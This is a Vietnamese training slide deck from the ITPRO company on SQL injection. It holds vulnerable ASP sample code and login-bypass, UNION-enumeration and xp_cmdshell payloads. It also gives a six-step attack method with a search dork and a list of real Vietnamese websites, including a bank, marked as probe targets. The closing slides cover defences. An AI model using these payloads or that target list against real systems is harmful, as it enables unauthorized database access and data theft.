You are on page 1of 79

LỖI SQL

SQL INJECTION

CÔNG TY CỔ PHẦN PHÁT TRIỂN VÀ CHUYỂN GIAO CÔNG NGHỆ TOÀN CẦU – ITPRO
Địa chỉ: Nhà 38 Lô TT4 khu biệt thự liền kề Mỹ Đình, Mễ Trì, Từ Liêm, Hà Nội
Điện thoại: (84).37875728 - Fax: (84).37875729 - Email: info@itpro.net.vn

ITPRO Global 1
Néi dung

ITPRO
NÂNG TẦM TRI THỨC 2
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 3
Lçi sql – sql injection

SQL Injection là gì?


 SQL injection là một kĩ thuật tấn công lợi dụng lỗ hổng trong
việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông
báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi
hành các câu lệnh SQL bất hợp pháp.
 Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có
thể thực hiện các thao tác xóa, hiệu chỉnh,  do có toàn quyền
trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng
đó đang chạy.
 Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được
quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server,
MySQL, Oracle, DB2, Sysbase.

ITPRO
NÂNG TẦM TRI THỨC 4
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 5
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 6
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 7
Lçi sql – sql injection

Các dạng tấn công bằng SQL Injection

 Có bốn dạng thông thường bao gồm:


+ Vượt qua kiểm tra lúc đăng nhập (authorization bypass)
+ Sử dụng câu lện SELECT
+ Sử dụng câu lệnh INSERT
+ Sử dụng các stored-procedures [2], [3]

ITPRO
NÂNG TẦM TRI THỨC 8
Lçi sql – sql injection

Dạng tấn công vượt qua kiểm tra đăng nhập


 Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên
cơ sở dữ liệu của ứng dụng web.
 Trong trường hợp này, người ta có thể dùng hai trang, một trang
HTML để hiển thị form nhập liệu và một trang ASP dùng để xử
lí thông tin nhập từ phía người dùng. Ví dụ:

ITPRO
NÂNG TẦM TRI THỨC 9
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 10
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 11
Lçi sql – sql injection

login.htm

<form action="ExecLogin.asp" method="post">


Username: <input type="text" name="fUSRNAME"><br>
Password: <input type="password"
name="fPASSWORD"><br>
<input type="submit">
</form>

ITPRO
NÂNG TẦM TRI THỨC 12
Lçi sql – sql injection

execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL vUsrName =
Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD")

strSQL = "SELECT * FROM T_USERS " & _ "WHERE USR_NAME=' " &
vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' “

Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL,


"DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " &
objRS("USR_NAME")
End If
Set objRS = Nothing %>

ITPRO
NÂNG TẦM TRI THỨC 13
Lçi sql – sql injection

 Người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu


username/password của trang login.htm là: ' OR ' ' = ' .

 Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT *
FROM T_USERS WHERE USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''=''

 Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của
T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất
hợp pháp này như là người dùng đăng nhập hợp lệ.

ITPRO
NÂNG TẦM TRI THỨC 14
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 15
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 16
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 17
Lçi sql – sql injection

Dạng tấn công sử dụng câu lệnh SELECT

 Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả
năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ
thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.

 Thông thường, sẽ có một trang nhận ID của tin cần hiển


thị rồi sau đó truy vấn nội dung của tin có ID này.

ITPRO
NÂNG TẦM TRI THỨC 18
Lçi sql – sql injection

<%

Dim vNewsID, objRS, strSQL

vNewsID = Request("ID")

strSQL = "SELECT * FROM T_NEWS WHERE


NEWS_ID =" & vNewsID

Set objRS =
Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing

%>

ITPRO
NÂNG TẦM TRI THỨC 19
Lçi sql – sql injection

 Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ
liệu vì nó sẽ thực hiện câu lệnh:
SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1

ITPRO
NÂNG TẦM TRI THỨC 20
Lçi sql – sql injection

 ' UNION SELECT ALL SELECT OtherField FROM


OtherTable WHERE ' '=' (*)
 Lúc này, ngoài câu truy vấn đầu không thành công, chương
trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa.
 Nếu chúng ta thêm ' UNION SELECT name FROM
sysobjects WHERE xtype = 'U' là có thể liệt kê được tên tất
cả các bảng dữ liệu.

ITPRO
NÂNG TẦM TRI THỨC 21
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 22
Lçi sql – sql injection

Dạng tấn công sử dụng câu lệnh INSERT


 Chức năng không thể thiếu là sau khi đăng kí thành công, người
dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection
có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của
thông tin nhập vào.

ITPRO
NÂNG TẦM TRI THỨC 23
Lçi sql – sql injection

 Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:


INSERT INTO TableName VALUES('Value One', 'Value
Two', 'Value Three'). Nếu đoạn mã xây dựng câu lệnh
SQL có dạng :
 <% strSQL = "INSERT INTO TableName VALUES(' " &
strValueOne & " ', ' " _ & strValueTwo & " ', ' " &
strValueThree & " ') " Set objRS =
Server.CreateObject("ADODB.Recordset") objRS.Open
strSQL, "DSN=..."  Set objRS = Nothing %>

ITPRO
NÂNG TẦM TRI THỨC 24
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 25
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 26
Lçi sql – sql injection

Dạng tấn công sử dụng stored-procedures

 Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu
ứng dụng được thực thi với quyền quản trị hệ thống 'sa'.

 Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC


xp_cmdshell 'cmd.exe dir C: '.

 Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\
cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh
đằng sau cmd.exe.

ITPRO
NÂNG TẦM TRI THỨC 27
Lçi sql – sql injection

Kỹ Thuật tấn công bằng sql injection


 Bước 1: Tìm kiếm mục tiêu.
 Bước 2: Kiểm tra chỗ yếu của trang web
 Bước 3: Nhận data qua ‘database using ODBC error message’
 Bước 4: Xác định tên của các column trong table
 Bước 5: Thu thập các dữ liệu quan trọng.
 Bước 6: Xử lý kết quả tìm được

ITPRO
NÂNG TẦM TRI THỨC 28
Lçi sql – sql injection

Tìm kiếm mục tiêu


 Có thể dùng các bất kỳ một search-engine nào trên mạng như
các trang login, search, feedback…
 Có thể “custome Search Engine” lại cho phù hợp với yêu cầu
của bạn

ITPRO
NÂNG TẦM TRI THỨC 29
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 30
Lçi sql – sql injection

 Thực hiện câu lệnh search:


 inurl:php?id= site:com.vn

ITPRO
NÂNG TẦM TRI THỨC 31
Lçi sql – sql injection

Kết quả thu được.

ITPRO
NÂNG TẦM TRI THỨC 32
Lçi sql – sql injection

 http://www.vsmc.com.vn/news_detail.php?id=19'
 http://www.toeic.com.vn/info/details.php?id=383'
 http://www.phanhoadigi.com.vn/list_product.php?ID=1173&namecate=EOS'
 http://forum.key.com.vn/viewtopic.php?id=362
 http://www.biconsi.com.vn/index.php?id=36'
 http://www.vietphone.com.vn/download.php?mode=download&id=19'
 http://thammyvienthanhbinh.com.vn/detail.php?id=19'
 http://www.voip.com.vn/download.php?mode=download&id=28'
 http://bidv.com.vn/advert.asp?id=36'
 http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27
 http://www.galilcol.ac.il/page.asp?id=17‘

ITPRO
NÂNG TẦM TRI THỨC 33
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 34
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 35
Lçi sql – sql injection

Nhận data qua ‘database using ODBC error message’

 Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ thuật lẫn sự am
hiểu về cơ sở dữ liệu.

 Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất


cả các column trong table. Có thể khai thác như sau:

http://vitcon/index.asp?id=10 UNION SELECT TOP 1


COLUMN_NAME FROM
INFORMATION_SHEMA.COLUMNS WHERE
TABLE_NAME=‘admin_login’--

ITPRO
NÂNG TẦM TRI THỨC 36
Lçi sql – sql injection

Out put:
 Microsoft OLE DB Provider for ODBC Drivers error
‘80040e07’[Microsoft][ODBC SQL Server Driver][SQL
Server]ORDER BY items must appear in the select list if the
statement contains a UNION operator.
 /index.asp, line 5

ITPRO
NÂNG TẦM TRI THỨC 37
Lçi sql – sql injection

SQ L SER V ER – C ÁC ĐẶC TR ƯNG

STT Hàm, Hằng Mô tả


1 @@version Trả ra version
2 system_user Trả ra quyền truy cập CSDL
3 @@servername Trả ra servername
4 Top n Trả ra n bản ghi đầu tiên
5 /**/, + Space (*)
6 -- Kết thúc truy vấn (*)
7 ; Ngắt giữa 2 truy vấn liên tiếp
8 Substring(string,a,b) Xâu con độ dài b từ vị trí thứ a

ITPRO
NÂNG TẦM TRI THỨC 38
Lçi sql – sql injection

O R A C LE SER V ER – C ÁC ĐẶC TR ƯNG

STT Hàm, Hằng Mô tả


1 Substring(string,a,b) Xâu con độ dài b từ vị trí thứ a
2 Rownum Số kết quả trả về

ITPRO
NÂNG TẦM TRI THỨC 39
Lçi sql – sql injection

 ORACLE
“Bảng của các bảng”: user_all_table
(table_name & column_name)
Hay đi cùng JSP, ASP.NET…các kiến trúc lớn.

ITPRO
NÂNG TẦM TRI THỨC 40
Lçi sql – sql injection

 MYSQL
 “Bảng của các bảng”: information_schema.tables
(table_name & column_name)
 “Bảng của các cột”: information_schema.columns
(column_name & table_name)
 Chỉ trên version 5
 Hay đi cùng JSP hoặc PHP

ITPRO
NÂNG TẦM TRI THỨC 41
Lçi sql – sql injection

M YSQ L SER V ER – C ÁC ĐẶC TR ƯNG

STT Hàm, Hằng Mô tả


1 version() Trả ra version 4.x.y.z hay 5.x.y.z
2 length(string) Trả ra độ dài xâu string
3 Limit a,b Lấy ra b giá trị từ giá trị thứ a
4 /**/, + Space (*)
5 */, -- Kết thúc truy vấn (*)
6 Load_file(string) Nội dung của file string
7 Char(97,98,99) Trả về xâu ascii ‘abc’
8 Into outfile string Ghi vào file string
9 Substr(string,a,b) Xâu con độ dài b từ vị trí thứ a

ITPRO
NÂNG TẦM TRI THỨC 42
Lçi sql – sql injection

 SQL
“Bảng của các bảng”: information_schema.tables
(table_name & column_name)
“Bảng của các cột”: information_schema.columns
(column_name & table_name)
Version 2000,2005,2008
 Hay đi cùng ASP.NET, ASP

ITPRO
NÂNG TẦM TRI THỨC 43
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 44
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 45
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 46
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 47
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 48
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 49
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 50
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 51
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 52
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 53
Lçi sql – sql injection

 Cách phòng chống tấn công SQL Injection

 Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ


liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng.

 Các ứng dụng thông thường nên tránh dùng đến các quyền
như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít.

 Loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp
chuyển xuống cho người dùng khi ứng dụng có lỗi.

 Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có
thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.

ITPRO
NÂNG TẦM TRI THỨC 54
Lçi sql – sql injection

 Cách phòng chống tấn công SQL Injection


 Lỗi SQL injection khai thác những bất cẩn của các lập trình
viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào
để xây dựng câu lệnh SQL.
 Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và
cách cấu hình hệ thống.
 Nếu ứng dụng sử dụng quyền dbo khi thao tác dữ liệu, nó
có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu
mới, …
 Nếu ứng dụng sử dụng quyền sa, nó có thể điều khiển toàn
bộ hệ quản trị cơ sở dữ liệu và với quyền hạn rộng lớn như
vậy nó có thể tạo ra các tài khoản người dùng bất hợp pháp
để điều khiển hệ thống.

ITPRO
NÂNG TẦM TRI THỨC 55
Lçi sql – sql injection

 Cách phòng chống tấn công SQL Injection (tiếp)


 Kiểm soát chặt chẽ dữ liệu nhập vào
• Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ
các câu lệnh SQL là bằng cách kiểm soát chặt chẽ tất cả
các dữ liệu nhập nhận được từ đối tượng Request
(Request, Request.QueryString, Request.Form,
Request.Cookies, and Request.ServerVariables)

ITPRO
NÂNG TẦM TRI THỨC 56
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 57
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 58
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 59
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 60
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 61
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 62
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 63
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 64
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 65
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 66
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 67
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 68
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 69
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 70
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 71
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 72
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 73
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 74
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 75
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 76
ITPRO
NÂNG TẦM TRI THỨC 77
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 78
Lçi sql – sql injection

ITPRO
NÂNG TẦM TRI THỨC 79

You might also like